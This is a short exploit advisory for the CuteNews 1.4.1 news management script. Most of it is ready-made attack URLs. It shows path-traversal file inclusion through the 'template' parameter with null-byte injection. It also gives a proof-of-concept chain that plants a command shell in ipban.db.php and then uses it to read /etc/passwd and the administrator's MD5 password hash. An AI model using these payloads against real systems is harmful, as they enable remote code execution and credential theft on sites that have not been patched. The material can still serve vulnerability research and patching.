CuteNews 1.4.1 Arbitrary file inclusion / remote code execution exploit
software:
site: http://cutephp.com/
description: "Cute news is a powerful and easy for using news management system that
use flat files to store its database. It supports comments, archives, search function,
image uploading, backup function, IP banning, flood protection [..]"
1) Arbitrary file inclusion:
http://[target]/cute141/show_archives.php?template=../../../../../../../../boot.ini%00
http://[target]/cute141/show_archives.php?template=../../../../../../../../[script]
http://[target]/cute141/show_news.php?template=../../../../../../../../boot.ini%00
http://[target]/cute141/show_news.php?template=../../../../../../../../[script]
where [script] is a file with .tpl extension
2) you can gain administrative privileges including .mdu scripts, poc exploit:
http://[target]/cute141/show_archives.php?template=../inc/ipban.mdu%00&member_db[1]=1&action=add&add_ip=
now in ipban.db.php we have:
|0||
and we launch commands:
http://[target]/cute141/data/ipban.db.php?cmd=cat%20/etc/passwd
to see /etc/passwd file
http://[target]/cute141/data/ipban.db.php?cmd=cat%20users.db.php
to see admin md5 password hash
